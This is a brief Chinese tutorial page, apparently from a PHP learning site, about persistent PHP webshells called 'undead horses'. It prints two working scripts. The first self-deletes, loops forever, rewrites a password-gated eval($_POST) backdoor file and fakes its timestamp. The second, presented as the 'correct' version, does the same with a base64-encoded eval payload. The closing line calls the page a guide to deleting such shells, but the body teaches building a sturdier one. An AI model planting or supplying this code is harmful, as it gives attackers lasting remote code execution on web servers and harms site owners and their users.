什麼是不死馬？
記憶體馬，通俗講就是不死馬，就是會運行一段永遠不退出的程式常駐在PHP進程裡，無限執行。
產生過程 （推薦學習：PHP影片教學）
不死馬.php → 上傳到server → server執行檔→ server本地無限循環生成(一句話.php)
網路上流傳的不死馬
<?php ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '2.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .2.php');
usleep(5000);
}
?>網路上流傳的不死馬，while裡面只是並沒有判斷了這個文件是不是存在，那我只需要把這個檔案中的shell註解掉就可以繞過你的記憶體木馬了。
正確的姿勢應該是這樣 :
Copy<?php
ignore_user_abort(true);
set_time_limit(0);
$file = 'c.php';
$code = base64_decode('PD9waHAgZXZhbCgkX1BPU1RbY10pOz8+'); while(true) { if(md5(file_get_contents($file))===md5($code)) {
file_put_contents($file, $code);
}
usleep(50);
}?>以上是php不死馬如何刪除的詳細內容。更多資訊請關注PHP中文網其他相關文章！
